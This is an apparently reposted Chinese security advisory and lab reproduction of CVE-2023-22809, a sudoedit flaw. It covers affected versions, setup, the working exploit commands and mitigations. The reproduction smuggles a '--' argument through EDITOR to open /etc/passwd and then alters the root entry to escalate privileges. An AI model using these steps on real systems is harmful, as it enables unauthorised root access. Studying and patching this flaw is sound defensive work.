CVE-2023-22809:Sudo权限提升漏洞

新闻资讯   2023-07-19 18:41   50   0  
关注我们❤️,添加星标🌟,一起学安全!
作者:inSight@Timeline Sec
本文字数:815
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

0x02 漏洞概述

漏洞编号:CVE-2023-22809
由于Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的 " --" 参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升。

0x03 影响版本

sudo 1.8 到 1.9.12p1

0x04 环境搭建

复现环境系统版本为
Debian 4.6.4-1kali1
sudo版本为1.8.17p1

在实际复现中,试了 1.8 到 1.9.12p1其中多个版本的sudo,都未复现成功,如下图所示


结合以下官方修复漏洞的代码,推测系统对注入的双破折号进行了过滤

使用1.8.17p1版本复现成功。使用root权限编辑/etc/sudoers文件,添加
xxxx    ALL=(root) NOPASSWD: sudoedit /etc/services
这么一行,其中xxxx是当前非root权限的用户名

0x05 漏洞复现

必须对系统中的至少一个文件具有有限的sudo访问权限。
执行攻击命令:(如果sudoedit后面接的文件和sudoers中的不是相同的文件,系统会要求输入root密码)
export EDITOR="vi -- /etc/passwd"
sudoedit /etc/services
这样我们就拥有了对/etc/passwd文件可编辑的权限。
接下来把root账号的那一行配置信息改成test的,接着test账户就拥有了root权限,实现提权。

0x06 修复方式

1、使用/etc/sudoers中的env_delete将环境变量添加到拒绝列表,如下所示。
Defaults!SUDOEDIT       env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/services
root    ALL=(root) NOPASSWD: SUDOEDIT
2、更新到最新版本的sudo。

参考链接

https://www.vicarius.io/blog/cve-2023-22809-sudoedit-bypass-analysis

推荐服务

历史漏洞


后台功能

回复【1】领取新人学习资料
回复【
2】进入漏洞查询功能
回复【
3】获取加群方式
回复【
4】领取安全电子书籍

回复5】进入SRC-QQ交流群


商务合作

Timeline Sec团队可合作项目清单


文章引用微信公众号"Timeline Sec",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。